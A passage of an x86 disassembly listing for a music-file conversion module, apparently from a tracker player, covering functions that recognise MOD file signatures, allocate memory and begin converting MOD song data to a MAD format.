00008: 001B EB 0A JMP L0001
00000: 001D 8D 40 00 ALIGN 00000010, 00000008
00008: 0020 L0002:
00008: 0020 8A 04 5A MOV AL, BYTE PTR 00000000[EDX][EBX*2]
00008: 0023 88 04 19 MOV BYTE PTR 00000000[ECX][EBX], AL
00008: 0026 43 INC EBX
00008: 0027 L0001:
00008: 0027 39 EB CMP EBX, EBP
00008: 0029 7C FFFFFFF5 JL L0002
00000: 002B L0000:
00000: 002B 5D POP EBP
00000: 002C 5B POP EBX
00000: 002D C3 RETN
Function: _GetMADCommand
00000: 0000 53 PUSH EBX
00000: 0001 8B 4C 24 08 MOV ECX, DWORD PTR 00000008[ESP]
00000: 0005 8B 5C 24 10 MOV EBX, DWORD PTR 00000010[ESP]
00008: 0009 66 85 C9 TEST CX, CX
00008: 000C 7D 04 JGE L0001
00008: 000E 31 C9 XOR ECX, ECX
00008: 0010 EB 0C JMP L0002
00000: 0012 ALIGN 00000010, 00000008
00008: 0012 L0001:
00008: 0012 8B 03 MOV EAX, DWORD PTR 00000000[EBX]
00008: 0014 0F BF D1 MOVSX EDX, CX
00008: 0017 39 C2 CMP EDX, EAX
00008: 0019 7C 03 JL L0002
00008: 001B 48 DEC EAX
00008: 001C 89 C1 MOV ECX, EAX
00008: 001E L0002:
00008: 001E 0F BF 44 24 0C MOVSX EAX, WORD PTR 0000000C[ESP]
00008: 0023 0F AF 03 IMUL EAX, DWORD PTR 00000000[EBX]
00008: 0026 0F BF C9 MOVSX ECX, CX
00008: 0029 01 C8 ADD EAX, ECX
00008: 002B 8D 04 40 LEA EAX, DWORD PTR 00000000[EAX][EAX*2]
00008: 002E 01 C0 ADD EAX, EAX
00008: 0030 01 D8 ADD EAX, EBX
00008: 0032 83 C0 30 ADD EAX, 00000030
00000: 0035 L0000:
00000: 0035 5B POP EBX
00000: 0036 C3 RETN
Function: ?MADPlugNewPtr@@YAPADJPAUMADDriverSettings@@@Z
00008: 0000 8B 4C 24 04 MOV ECX, DWORD PTR 00000004[ESP]
00008: 0004 51 PUSH ECX
00008: 0005 E8 00000000 CALL SHORT _malloc
00008: 000A 59 POP ECX
00000: 000B L0000:
00000: 000B C3 RETN
Function: ?MADPlugNewPtrClear@@YAPADJPAUMADDriverSettings@@@Z
00008: 0000 6A 01 PUSH 00000001
00008: 0002 8B 44 24 08 MOV EAX, DWORD PTR 00000008[ESP]
00008: 0006 50 PUSH EAX
00008: 0007 E8 00000000 CALL SHORT _calloc
00008: 000C 59 POP ECX
00008: 000D 59 POP ECX
00000: 000E L0000:
00000: 000E C3 RETN
Function: ?AnalyseSignatureMOD@@YAXJJPAFPAJ0PAUMODDef@@@Z
00000: 0000 53 PUSH EBX
00000: 0001 56 PUSH ESI
00000: 0002 57 PUSH EDI
00000: 0003 55 PUSH EBP
00000: 0004 83 EC 08 SUB ESP, 00000008
00000: 0007 8B 7C 24 28 MOV EDI, DWORD PTR 00000028[ESP]
00000: 000B 8B 74 24 2C MOV ESI, DWORD PTR 0000002C[ESP]
00000: 000F 8B 5C 24 30 MOV EBX, DWORD PTR 00000030[ESP]
00008: 0013 8B 44 24 24 MOV EAX, DWORD PTR 00000024[ESP]
00008: 0017 66 C7 00 001F MOV WORD PTR 00000000[EAX], 001F
00008: 001C 8D 44 24 20 LEA EAX, DWORD PTR 00000020[ESP]
00008: 0020 50 PUSH EAX
00008: 0021 E8 00000000 CALL SHORT _MOT32
00008: 0026 59 POP ECX
00008: 0027 8B 4C 24 20 MOV ECX, DWORD PTR 00000020[ESP]
00008: 002B 89 C8 MOV EAX, ECX
00008: 002D 2D 31304348 SUB EAX, 31304348
00008: 0032 0F 84 00000229 JE L0001
00008: 0038 2D 00010000 SUB EAX, 00010000
00008: 003D 0F 84 0000022E JE L0002
00008: 0043 2D 00010000 SUB EAX, 00010000
00008: 0048 0F 84 00000233 JE L0003
00008: 004E 2D 00010000 SUB EAX, 00010000
00008: 0053 0F 84 00000238 JE L0004
00008: 0059 2D 00010000 SUB EAX, 00010000
00008: 005E 0F 84 0000023D JE L0005
00008: 0064 2D 00010000 SUB EAX, 00010000
00008: 0069 0F 84 00000242 JE L0006
00008: 006F 2D 00010000 SUB EAX, 00010000
00008: 0074 0F 84 00000247 JE L0007
00008: 007A 2D 00010000 SUB EAX, 00010000
00008: 007F 0F 84 0000024C JE L0008
00008: 0085 2D 00010000 SUB EAX, 00010000
00008: 008A 0F 84 00000251 JE L0009
00008: 0090 2D 00010000 SUB EAX, 00010000
00008: 0095 0F 84 00000256 JE L000A
00008: 009B 2D 00F70000 SUB EAX, 00F70000
00008: 00A0 0F 84 0000025B JE L000B
00008: 00A6 2D 00010000 SUB EAX, 00010000
00008: 00AB 0F 84 00000260 JE L000C
00008: 00B1 2D 00010000 SUB EAX, 00010000
00008: 00B6 0F 84 00000265 JE L000D
00008: 00BC 2D 00010000 SUB EAX, 00010000
00008: 00C1 0F 84 0000026A JE L000E
00008: 00C7 2D 00010000 SUB EAX, 00010000
00008: 00CC 0F 84 0000026F JE L000F
00008: 00D2 2D 00010000 SUB EAX, 00010000
00008: 00D7 0F 84 00000274 JE L0010
00008: 00DD 2D 00010000 SUB EAX, 00010000
00008: 00E2 0F 84 00000279 JE L0011
00008: 00E8 2D 00010000 SUB EAX, 00010000
00008: 00ED 0F 84 0000027E JE L0012
00008: 00F3 2D 00010000 SUB EAX, 00010000
00008: 00F8 0F 84 00000283 JE L0013
00008: 00FE 2D 00010000 SUB EAX, 00010000
00008: 0103 0F 84 00000288 JE L0014
00008: 0109 2D 000A0506 SUB EAX, 000A0506
00008: 010E 0F 84 000000CD JE L0015
00008: 0114 2D 00ECFAFA SUB EAX, 00ECFAFA
00008: 0119 0F 84 00000282 JE L0016
00008: 011F 2D 00010000 SUB EAX, 00010000
00008: 0124 0F 84 00000287 JE L0017
00008: 012A 2D 00010000 SUB EAX, 00010000
00008: 012F 0F 84 0000028C JE L0018
00008: 0135 2D 00110506 SUB EAX, 00110506
00008: 013A 0F 84 000000B1 JE L0019
00008: 0140 2D 01000000 SUB EAX, 01000000
00008: 0145 0F 84 000000B6 JE L001A
00008: 014B 2D 01000000 SUB EAX, 01000000
00008: 0150 0F 84 000000BB JE L001B
00008: 0156 2D 01000000 SUB EAX, 01000000
00008: 015B 0F 84 000000C0 JE L001C
00008: 0161 2D 01000000 SUB EAX, 01000000
00008: 0166 0F 84 000000C5 JE L001D
00008: 016C 2D 01000000 SUB EAX, 01000000
00008: 0171 0F 84 000000CA JE L001E
00008: 0177 2D 01000000 SUB EAX, 01000000
00008: 017C 0F 84 000000CF JE L001F
00008: 0182 2D 0D090BE6 SUB EAX, 0D090BE6
00008: 0187 74 18 JE L0020
00008: 0189 83 E8 04 SUB EAX, 00000004
00008: 018C 74 23 JE L0021
00008: 018E 2D 06D4F6E9 SUB EAX, 06D4F6E9
00008: 0193 74 3C JE L0022
00008: 0195 2D 000D000D SUB EAX, 000D000D
00008: 019A 74 25 JE L0023
00008: 019C E9 00000230 JMP L0024
00000: 01A1 ALIGN 00000010, 00000008
00008: 01A1 L0020:
00008: 01A1 C7 07 00000400 MOV DWORD PTR 00000000[EDI], 00000400
00008: 01A7 66 C7 06 0004 MOV WORD PTR 00000000[ESI], 0004
00008: 01AC E9 000002E8 JMP L0025
00000: 01B1 ALIGN 00000010, 00000008
00008: 01B1 L0021:
00008: 01B1 C7 07 00000400 MOV DWORD PTR 00000000[EDI], 00000400
00008: 01B7 66 C7 06 0004 MOV WORD PTR 00000000[ESI], 0004
00008: 01BC E9 000002D8 JMP L0025
00000: 01C1 ALIGN 00000010, 00000008
00008: 01C1 L0023:
00008: 01C1 C7 07 00000400 MOV DWORD PTR 00000000[EDI], 00000400
00008: 01C7 66 C7 06 0004 MOV WORD PTR 00000000[ESI], 0004
00008: 01CC E9 000002C8 JMP L0025
00000: 01D1 ALIGN 00000010, 00000008
00008: 01D1 L0022:
00008: 01D1 C7 07 00000400 MOV DWORD PTR 00000000[EDI], 00000400
00008: 01D7 66 C7 06 0004 MOV WORD PTR 00000000[ESI], 0004
00008: 01DC E9 000002B8 JMP L0025
00000: 01E1 ALIGN 00000010, 00000008
00008: 01E1 L0015:
00008: 01E1 C7 07 00000200 MOV DWORD PTR 00000000[EDI], 00000200
00008: 01E7 66 C7 06 0002 MOV WORD PTR 00000000[ESI], 0002
00008: 01EC E9 000002A8 JMP L0025
00000: 01F1 ALIGN 00000010, 00000008
00008: 01F1 L0019:
00008: 01F1 C7 07 00000300 MOV DWORD PTR 00000000[EDI], 00000300
00008: 01F7 66 C7 06 0003 MOV WORD PTR 00000000[ESI], 0003
00008: 01FC E9 00000298 JMP L0025
00000: 0201 ALIGN 00000010, 00000008
00008: 0201 L001A:
00008: 0201 C7 07 00000400 MOV DWORD PTR 00000000[EDI], 00000400
00008: 0207 66 C7 06 0004 MOV WORD PTR 00000000[ESI], 0004
00008: 020C E9 00000288 JMP L0025
00000: 0211 ALIGN 00000010, 00000008
00008: 0211 L001B:
00008: 0211 C7 07 00000500 MOV DWORD PTR 00000000[EDI], 00000500
00008: 0217 66 C7 06 0005 MOV WORD PTR 00000000[ESI], 0005
00008: 021C E9 00000278 JMP L0025
00000: 0221 ALIGN 00000010, 00000008
00008: 0221 L001C:
00008: 0221 C7 07 00000600 MOV DWORD PTR 00000000[EDI], 00000600
00008: 0227 66 C7 06 0006 MOV WORD PTR 00000000[ESI], 0006
00008: 022C E9 00000268 JMP L0025
00000: 0231 ALIGN 00000010, 00000008
00008: 0231 L001D:
00008: 0231 C7 07 00000700 MOV DWORD PTR 00000000[EDI], 00000700
00008: 0237 66 C7 06 0007 MOV WORD PTR 00000000[ESI], 0007
00008: 023C E9 00000258 JMP L0025
00000: 0241 ALIGN 00000010, 00000008
00008: 0241 L001E:
00008: 0241 C7 07 00000800 MOV DWORD PTR 00000000[EDI], 00000800
00008: 0247 66 C7 06 0008 MOV WORD PTR 00000000[ESI], 0008
00008: 024C E9 00000248 JMP L0025
00000: 0251 ALIGN 00000010, 00000008
00008: 0251 L001F:
00008: 0251 C7 07 00000900 MOV DWORD PTR 00000000[EDI], 00000900
00008: 0257 66 C7 06 0009 MOV WORD PTR 00000000[ESI], 0009
00008: 025C E9 00000238 JMP L0025
00000: 0261 ALIGN 00000010, 00000008
00008: 0261 L0001:
00008: 0261 C7 07 00000A00 MOV DWORD PTR 00000000[EDI], 00000A00
00008: 0267 66 C7 06 000A MOV WORD PTR 00000000[ESI], 000A
00008: 026C E9 00000228 JMP L0025
00000: 0271 ALIGN 00000010, 00000008
00008: 0271 L0002:
00008: 0271 C7 07 00000B00 MOV DWORD PTR 00000000[EDI], 00000B00
00008: 0277 66 C7 06 000B MOV WORD PTR 00000000[ESI], 000B
00008: 027C E9 00000218 JMP L0025
00000: 0281 ALIGN 00000010, 00000008
00008: 0281 L0003:
00008: 0281 C7 07 00000C00 MOV DWORD PTR 00000000[EDI], 00000C00
00008: 0287 66 C7 06 000C MOV WORD PTR 00000000[ESI], 000C
00008: 028C E9 00000208 JMP L0025
00000: 0291 ALIGN 00000010, 00000008
00008: 0291 L0004:
00008: 0291 C7 07 00000D00 MOV DWORD PTR 00000000[EDI], 00000D00
00008: 0297 66 C7 06 000D MOV WORD PTR 00000000[ESI], 000D
00008: 029C E9 000001F8 JMP L0025
00000: 02A1 ALIGN 00000010, 00000008
00008: 02A1 L0005:
00008: 02A1 C7 07 00000E00 MOV DWORD PTR 00000000[EDI], 00000E00
00008: 02A7 66 C7 06 000E MOV WORD PTR 00000000[ESI], 000E
00008: 02AC E9 000001E8 JMP L0025
00000: 02B1 ALIGN 00000010, 00000008
00008: 02B1 L0006:
00008: 02B1 C7 07 00000F00 MOV DWORD PTR 00000000[EDI], 00000F00
00008: 02B7 66 C7 06 000F MOV WORD PTR 00000000[ESI], 000F
00008: 02BC E9 000001D8 JMP L0025
00000: 02C1 ALIGN 00000010, 00000008
00008: 02C1 L0007:
00008: 02C1 C7 07 00001000 MOV DWORD PTR 00000000[EDI], 00001000
00008: 02C7 66 C7 06 0010 MOV WORD PTR 00000000[ESI], 0010
00008: 02CC E9 000001C8 JMP L0025
00000: 02D1 ALIGN 00000010, 00000008
00008: 02D1 L0008:
00008: 02D1 C7 07 00001100 MOV DWORD PTR 00000000[EDI], 00001100
00008: 02D7 66 C7 06 0011 MOV WORD PTR 00000000[ESI], 0011
00008: 02DC E9 000001B8 JMP L0025
00000: 02E1 ALIGN 00000010, 00000008
00008: 02E1 L0009:
00008: 02E1 C7 07 00001200 MOV DWORD PTR 00000000[EDI], 00001200
00008: 02E7 66 C7 06 0012 MOV WORD PTR 00000000[ESI], 0012
00008: 02EC E9 000001A8 JMP L0025
00000: 02F1 ALIGN 00000010, 00000008
00008: 02F1 L000A:
00008: 02F1 C7 07 00001300 MOV DWORD PTR 00000000[EDI], 00001300
00008: 02F7 66 C7 06 0013 MOV WORD PTR 00000000[ESI], 0013
00008: 02FC E9 00000198 JMP L0025
00000: 0301 ALIGN 00000010, 00000008
00008: 0301 L000B:
00008: 0301 C7 07 00001400 MOV DWORD PTR 00000000[EDI], 00001400
00008: 0307 66 C7 06 0014 MOV WORD PTR 00000000[ESI], 0014
00008: 030C E9 00000188 JMP L0025
00000: 0311 ALIGN 00000010, 00000008
00008: 0311 L000C:
00008: 0311 C7 07 00001500 MOV DWORD PTR 00000000[EDI], 00001500
00008: 0317 66 C7 06 0015 MOV WORD PTR 00000000[ESI], 0015
00008: 031C E9 00000178 JMP L0025
00000: 0321 ALIGN 00000010, 00000008
00008: 0321 L000D:
00008: 0321 C7 07 00001600 MOV DWORD PTR 00000000[EDI], 00001600
00008: 0327 66 C7 06 0016 MOV WORD PTR 00000000[ESI], 0016
00008: 032C E9 00000168 JMP L0025
00000: 0331 ALIGN 00000010, 00000008
00008: 0331 L000E:
00008: 0331 C7 07 00001700 MOV DWORD PTR 00000000[EDI], 00001700
00008: 0337 66 C7 06 0017 MOV WORD PTR 00000000[ESI], 0017
00008: 033C E9 00000158 JMP L0025
00000: 0341 ALIGN 00000010, 00000008
00008: 0341 L000F:
00008: 0341 C7 07 00001800 MOV DWORD PTR 00000000[EDI], 00001800
00008: 0347 66 C7 06 0018 MOV WORD PTR 00000000[ESI], 0018
00008: 034C E9 00000148 JMP L0025
00000: 0351 ALIGN 00000010, 00000008
00008: 0351 L0010:
00008: 0351 C7 07 00001900 MOV DWORD PTR 00000000[EDI], 00001900
00008: 0357 66 C7 06 0019 MOV WORD PTR 00000000[ESI], 0019
00008: 035C E9 00000138 JMP L0025
00000: 0361 ALIGN 00000010, 00000008
00008: 0361 L0011:
00008: 0361 C7 07 00001A00 MOV DWORD PTR 00000000[EDI], 00001A00
00008: 0367 66 C7 06 001A MOV WORD PTR 00000000[ESI], 001A
00008: 036C E9 00000128 JMP L0025
00000: 0371 ALIGN 00000010, 00000008
00008: 0371 L0012:
00008: 0371 C7 07 00001B00 MOV DWORD PTR 00000000[EDI], 00001B00
00008: 0377 66 C7 06 001B MOV WORD PTR 00000000[ESI], 001B
00008: 037C E9 00000118 JMP L0025
00000: 0381 ALIGN 00000010, 00000008
00008: 0381 L0013:
00008: 0381 C7 07 00001C00 MOV DWORD PTR 00000000[EDI], 00001C00
00008: 0387 66 C7 06 001C MOV WORD PTR 00000000[ESI], 001C
00008: 038C E9 00000108 JMP L0025
00000: 0391 ALIGN 00000010, 00000008
00008: 0391 L0014:
00008: 0391 C7 07 00001D00 MOV DWORD PTR 00000000[EDI], 00001D00
00008: 0397 66 C7 06 001D MOV WORD PTR 00000000[ESI], 001D
00008: 039C E9 000000F8 JMP L0025
00000: 03A1 ALIGN 00000010, 00000008
00008: 03A1 L0016:
00008: 03A1 C7 07 00001E00 MOV DWORD PTR 00000000[EDI], 00001E00
00008: 03A7 66 C7 06 001E MOV WORD PTR 00000000[ESI], 001E
00008: 03AC E9 000000E8 JMP L0025
00000: 03B1 ALIGN 00000010, 00000008
00008: 03B1 L0017:
00008: 03B1 C7 07 00001F00 MOV DWORD PTR 00000000[EDI], 00001F00
00008: 03B7 66 C7 06 001F MOV WORD PTR 00000000[ESI], 001F
00008: 03BC E9 000000D8 JMP L0025
00000: 03C1 ALIGN 00000010, 00000008
00008: 03C1 L0018:
00008: 03C1 C7 07 00002000 MOV DWORD PTR 00000000[EDI], 00002000
00008: 03C7 66 C7 06 0020 MOV WORD PTR 00000000[ESI], 0020
00008: 03CC E9 000000C8 JMP L0025
00000: 03D1 ALIGN 00000010, 00000008
00008: 03D1 L0024:
00008: 03D1 C7 07 00000400 MOV DWORD PTR 00000000[EDI], 00000400
00008: 03D7 66 C7 06 0004 MOV WORD PTR 00000000[ESI], 0004
00008: 03DC C6 04 24 01 MOV BYTE PTR 00000000[ESP], 01
00008: 03E0 31 ED XOR EBP, EBP
00008: 03E2 31 C9 XOR ECX, ECX
00008: 03E4 83 F9 0F CMP ECX, 0000000F
00008: 03E7 7D 35 JGE L0026
00008: 03E9 31 D2 XOR EDX, EDX
00000: 03EB 89 C0 8D 40 00 ALIGN 00000010, 00000008
00008: 03F0 L0027:
00008: 03F0 66 8B 74 13 2A MOV SI, WORD PTR 0000002A[EBX][EDX]
00008: 03F5 0F B7 C6 MOVZX EAX, SI
00008: 03F8 01 C5 ADD EBP, EAX
00008: 03FA 80 7C 13 2C 0F CMP BYTE PTR 0000002C[EBX][EDX], 0F
00008: 03FF 76 04 JBE L0028
00008: 0401 C6 04 24 00 MOV BYTE PTR 00000000[ESP], 00
00008: 0405 L0028:
00008: 0405 66 85 F6 TEST SI, SI
00008: 0408 74 0B JE L0029
00008: 040A 66 39 74 13 30 CMP WORD PTR 00000030[EBX][EDX], SI
00008: 040F 76 04 JBE L0029
00008: 0411 C6 04 24 00 MOV BYTE PTR 00000000[ESP], 00
00008: 0415 L0029:
00008: 0415 83 C2 1E ADD EDX, 0000001E
00008: 0418 41 INC ECX
00008: 0419 83 F9 0F CMP ECX, 0000000F
00008: 041C 7C FFFFFFD2 JL L0027
00008: 041E L0026:
00008: 041E 83 7C 24 1C FFFFFFFF CMP DWORD PTR 0000001C[ESP], FFFFFFFF
00008: 0423 74 4E JE L002A
00008: 0425 31 C9 XOR ECX, ECX
00008: 0427 8D B3 FFFFFE20 LEA ESI, DWORD PTR FFFFFE20[EBX]
00008: 042D 31 DB XOR EBX, EBX
00008: 042F 81 FB 00000080 CMP EBX, 00000080
00008: 0435 7D 2C JGE L002B
00000: 0437 ALIGN 00000010, 00000008
00008: 0437 L002C:
00008: 0437 80 BC 1E 000003B8FFFFFF80 CMP BYTE PTR 000003B8[ESI][EBX], FFFFFF80
00008: 043F 76 08 JBE L002D
00008: 0441 C6 84 1E 000003B800 MOV BYTE PTR 000003B8[ESI][EBX], 00
00008: 0449 L002D:
00008: 0449 8A 84 1E 000003B8 MOV AL, BYTE PTR 000003B8[ESI][EBX]
00008: 0450 0F B6 D0 MOVZX EDX, AL
00008: 0453 39 CA CMP EDX, ECX
00008: 0455 7C 03 JL L002E
00008: 0457 0F B6 C8 MOVZX ECX, AL
00008: 045A L002E:
00008: 045A 43 INC EBX
00008: 045B 81 FB 00000080 CMP EBX, 00000080
00008: 0461 7C FFFFFFD4 JL L002C
00008: 0463 L002B:
00008: 0463 41 INC ECX
00008: 0464 0F AF 0F IMUL ECX, DWORD PTR 00000000[EDI]
00008: 0467 01 E9 ADD ECX, EBP
00008: 0469 3B 4C 24 1C CMP ECX, DWORD PTR 0000001C[ESP]
00008: 046D 7E 04 JLE L002A
00008: 046F C6 04 24 00 MOV BYTE PTR 00000000[ESP], 00
00008: 0473 L002A:
00008: 0473 85 ED TEST EBP, EBP
00008: 0475 75 04 JNE L002F
00008: 0477 C6 04 24 00 MOV BYTE PTR 00000000[ESP], 00
00008: 047B L002F:
00008: 047B 80 3C 24 00 CMP BYTE PTR 00000000[ESP], 00
00008: 047F 74 0F JE L0030
00008: 0481 8B 44 24 24 MOV EAX, DWORD PTR 00000024[ESP]
00008: 0485 66 C7 00 000F MOV WORD PTR 00000000[EAX], 000F
00008: 048A EB 0D JMP L0025
00000: 048C 8D 44 20 00 ALIGN 00000010, 00000008
00008: 0490 L0030:
00008: 0490 8B 44 24 24 MOV EAX, DWORD PTR 00000024[ESP]
00008: 0494 66 C7 00 0000 MOV WORD PTR 00000000[EAX], 0000
00008: 0499 L0025:
00000: 0499 L0000:
00000: 0499 83 C4 08 ADD ESP, 00000008
00000: 049C 5D POP EBP
00000: 049D 5F POP EDI
00000: 049E 5E POP ESI
00000: 049F 5B POP EBX
00000: 04A0 C3 RETN
Function: ?GetMODCommand@@YAPAUMODCom@@FFFFPAD@Z
00008: 0000 0F BF 54 24 0C MOVSX EDX, WORD PTR 0000000C[ESP]
00008: 0005 C1 E2 06 SHL EDX, 00000006
00008: 0008 8D 14 95 00000000 LEA EDX, [00000000][EDX*4]
00008: 000F 0F BF 44 24 10 MOVSX EAX, WORD PTR 00000010[ESP]
00008: 0014 0F AF D0 IMUL EDX, EAX
00008: 0017 03 54 24 14 ADD EDX, DWORD PTR 00000014[ESP]
00008: 001B 0F BF 4C 24 04 MOVSX ECX, WORD PTR 00000004[ESP]
00008: 0020 8D 0C 8D 00000000 LEA ECX, [00000000][ECX*4]
00008: 0027 0F AF C8 IMUL ECX, EAX
00008: 002A 01 D1 ADD ECX, EDX
00008: 002C 0F BF 44 24 08 MOVSX EAX, WORD PTR 00000008[ESP]
00008: 0031 8D 04 85 00000000 LEA EAX, [00000000][EAX*4]
00008: 0038 01 C8 ADD EAX, ECX
00000: 003A L0000:
00000: 003A C3 RETN
Function: ?PPConvertMod2Mad@@YAFPADJPAUMADMusic@@PAUMADDriverSettings@@@Z
00000: 0000 53 PUSH EBX
00000: 0001 56 PUSH ESI
00000: 0002 57 PUSH EDI
00000: 0003 55 PUSH EBP
00000: 0004 81 EC 00000290 SUB ESP, 00000290
00000: 000A 8B 94 24 000002A4 MOV EDX, DWORD PTR 000002A4[ESP]
00000: 0011 8B AC 24 000002AC MOV EBP, DWORD PTR 000002AC[ESP]
00008: 0018 8D BC 24 00000250 LEA EDI, DWORD PTR 00000250[ESP]
00008: 001F BE 00000000 MOV ESI, OFFSET @421
00008: 0024 B9 00000010 MOV ECX, 00000010
00008: 0029 F3 A5 REP MOVSD
00008: 002B 89 D7 MOV EDI, EDX
00008: 002D 89 7C 24 1C MOV DWORD PTR 0000001C[ESP], EDI
00008: 0031 89 F8 MOV EAX, EDI
00008: 0033 03 84 24 000002A8 ADD EAX, DWORD PTR 000002A8[ESP]
00008: 003A 89 44 24 1C MOV DWORD PTR 0000001C[ESP], EAX
00008: 003E 57 PUSH EDI
00008: 003F 8D 44 24 4C LEA EAX, DWORD PTR 0000004C[ESP]
00008: 0043 50 PUSH EAX
00008: 0044 8D 74 24 54 LEA ESI, DWORD PTR 00000054[ESP]
00008: 0048 56 PUSH ESI
00008: 0049 8D 44 24 56 LEA EAX, DWORD PTR 00000056[ESP]
00008: 004D 50 PUSH EAX
00008: 004E 8D 9A 00000438 LEA EBX, DWORD PTR 00000438[EDX]
00008: 0054 8B 03 MOV EAX, DWORD PTR 00000000[EBX]
00008: 0056 50 PUSH EAX
00008: 0057 6A FFFFFFFF PUSH FFFFFFFF
00008: 0059 E8 00000000 CALL SHORT ?AnalyseSignatureMOD@@YAXJJPAFPAJ0PAUMODDef@@@Z
00008: 005E 83 C4 18 ADD ESP, 00000018
00008: 0061 66 83 7C 24 4A 00 CMP WORD PTR 0000004A[ESP], 0000
00008: 0067 75 17 JNE L0001
00008: 0069 B8 FFFFFFF7 MOV EAX, FFFFFFF7
00000: 006E 81 C4 00000290 ADD ESP, 00000290
00000: 0074 5D POP EBP
00000: 0075 5F POP EDI
00000: 0076 5E POP ESI
00000: 0077 5B POP EBX
00000: 0078 C3 RETN
00000: 0079 8D 84 20 00000000 ALIGN 00000010, 00000008
00008: 0080 L0001:
00008: 0080 66 83 7C 24 4A 0F CMP WORD PTR 0000004A[ESP], 000F
00008: 0086 0F 85 0000008A JNE L0002
00008: 008C 89 7C 24 2C MOV DWORD PTR 0000002C[ESP], EDI
00008: 0090 81 44 24 2C FFFFFE20 ADD DWORD PTR 0000002C[ESP], FFFFFE20
00008: 0098 8B 44 24 2C MOV EAX, DWORD PTR 0000002C[ESP]
00008: 009C 89 44 24 3C MOV DWORD PTR 0000003C[ESP], EAX
00008: 00A0 81 44 24 3C 0000043C ADD DWORD PTR 0000003C[ESP], 0000043C
00008: 00A8 83 44 24 3C FFFFFFFC ADD DWORD PTR 0000003C[ESP], FFFFFFFC
00008: 00AD C7 44 24 38 00000000 MOV DWORD PTR 00000038[ESP], 00000000
00008: 00B5 31 D2 XOR EDX, EDX
00000: 00B7 ALIGN 00000010, 00000008
00008: 00B7 L0003:
00008: 00B7 0F BF DA MOVSX EBX, DX
00008: 00BA 8B 44 24 2C MOV EAX, DWORD PTR 0000002C[ESP]
00008: 00BE 80 BC 18 000003B8FFFFFF80 CMP BYTE PTR 000003B8[EAX][EBX], FFFFFF80
00008: 00C6 76 08 JBE L0004
00008: 00C8 C6 84 18 000003B800 MOV BYTE PTR 000003B8[EAX][EBX], 00
00008: 00D0 L0004:
00008: 00D0 0F BF 74 24 38 MOVSX ESI, WORD PTR 00000038[ESP]
00008: 00D5 8B 44 24 2C MOV EAX, DWORD PTR 0000002C[ESP]
00008: 00D9 8A 8C 18 000003B8 MOV CL, BYTE PTR 000003B8[EAX][EBX]
00008: 00E0 0F B6 C1 MOVZX EAX, CL
00008: 00E3 39 F0 CMP EAX, ESI
00008: 00E5 7C 07 JL L0005
00008: 00E7 0F B6 C1 MOVZX EAX, CL
00008: 00EA 89 44 24 38 MOV DWORD PTR 00000038[ESP], EAX
00008: 00EE L0005:
00008: 00EE 42 INC EDX
00008: 00EF 66 81 FA 0080 CMP DX, 0080
00008: 00F4 7C FFFFFFC1 JL L0003
00008: 00F6 FF 44 24 38 INC DWORD PTR 00000038[ESP]
00008: 00FA 0F BF 44 24 38 MOVSX EAX, WORD PTR 00000038[ESP]
00008: 00FF 89 44 24 28 MOV DWORD PTR 00000028[ESP], EAX
00008: 0103 0F AF 44 24 4C IMUL EAX, DWORD PTR 0000004C[ESP]
00008: 0108 89 44 24 28 MOV DWORD PTR 00000028[ESP], EAX
00008: 010C 81 44 24 28 00000258 ADD DWORD PTR 00000028[ESP], 00000258
00008: 0114 EB 6F JMP L0032
00000: 0116 ALIGN 00000010, 00000008
00008: 0116 L0002:
00008: 0116 89 7C 24 2C MOV DWORD PTR 0000002C[ESP], EDI
00008: 011A 89 7C 24 3C MOV DWORD PTR 0000003C[ESP], EDI
00008: 011E 81 44 24 3C 0000043C ADD DWORD PTR 0000003C[ESP], 0000043C
00008: 0126 C7 44 24 38 00000000 MOV DWORD PTR 00000038[ESP], 00000000
00008: 012E 31 F6 XOR ESI, ESI
00000: 0130 ALIGN 00000010, 00000008
00008: 0130 L0007:
00008: 0130 0F BF CE MOVSX ECX, SI
00008: 0133 80 BC 0F 000003B8FFFFFF80 CMP BYTE PTR 000003B8[EDI][ECX], FFFFFF80
00008: 013B 76 08 JBE L0008
00008: 013D C6 84 0F 000003B800 MOV BYTE PTR 000003B8[EDI][ECX], 00
00008: 0145 L0008:
00008: 0145 0F BF 5C 24 38 MOVSX EBX, WORD PTR 00000038[ESP]
00008: 014A 8A 94 0F 000003B8 MOV DL, BYTE PTR 000003B8[EDI][ECX]
00008: 0151 0F B6 C2 MOVZX EAX, DL
00008: 0154 39 D8 CMP EAX, EBX
00008: 0156 7C 07 JL L0009
00008: 0158 0F B6 C2 MOVZX EAX, DL
00008: 015B 89 44 24 38 MOV DWORD PTR 00000038[ESP], EAX
00008: 015F L0009:
00008: 015F 46 INC ESI
00008: 0160 66 81 FE 0080 CMP SI, 0080
00008: 0165 7C FFFFFFC9 JL L0007
00008: 0167 FF 44 24 38 INC DWORD PTR 00000038[ESP]
00008: 016B 0F BF 44 24 38 MOVSX EAX, WORD PTR 00000038[ESP]
00008: 0170 89 44 24 28 MOV DWORD PTR 00000028[ESP], EAX
00008: 0174 0F AF 44 24 4C IMUL EAX, DWORD PTR 0000004C[ESP]
00008: 0179 89 44 24 28 MOV DWORD PTR 00000028[ESP], EAX
00008: 017D 81 44 24 28 0000043C ADD DWORD PTR 00000028[ESP], 0000043C
00008: 0185 L0032:
00008: 0185 L0006:
00008: 0185 C7 44 24 34 00000000 MOV DWORD PTR 00000034[ESP], 00000000
00008: 018D 66 83 7C 24 4A 00 CMP WORD PTR 0000004A[ESP], 0000
00008: 0193 0F 8E 00000101 JLE L000A
00008: 0199 89 7C 24 10 MOV DWORD PTR 00000010[ESP], EDI
00008: 019D 31 F6 XOR ESI, ESI
00008: 019F 89 7C 24 40 MOV DWORD PTR 00000040[ESP], EDI
00000: 01A3 ALIGN 00000010, 00000008
00008: 01A3 L000B:
00008: 01A3 8B 4C 24 40 MOV ECX, DWORD PTR 00000040[ESP]
00008: 01A7 03 4C 24 28 ADD ECX, DWORD PTR 00000028[ESP]
00008: 01AB 0F BF 5C 24 34 MOVSX EBX, WORD PTR 00000034[ESP]
00008: 01B0 89 4C 9C 50 MOV DWORD PTR 00000050[ESP][EBX*4], ECX
00008: 01B4 8B 44 24 10 MOV EAX, DWORD PTR 00000010[ESP]
00008: 01B8 83 C0 2A ADD EAX, 0000002A
00008: 01BB 50 PUSH EAX
00008: 01BC E8 00000000 CALL SHORT _MOT16
00008: 01C1 59 POP ECX
00008: 01C2 8B 44 24 10 MOV EAX, DWORD PTR 00000010[ESP]
00008: 01C6 83 C0 2E ADD EAX, 0000002E
00008: 01C9 50 PUSH EAX
00008: 01CA E8 00000000 CALL SHORT _MOT16
00008: 01CF 59 POP ECX
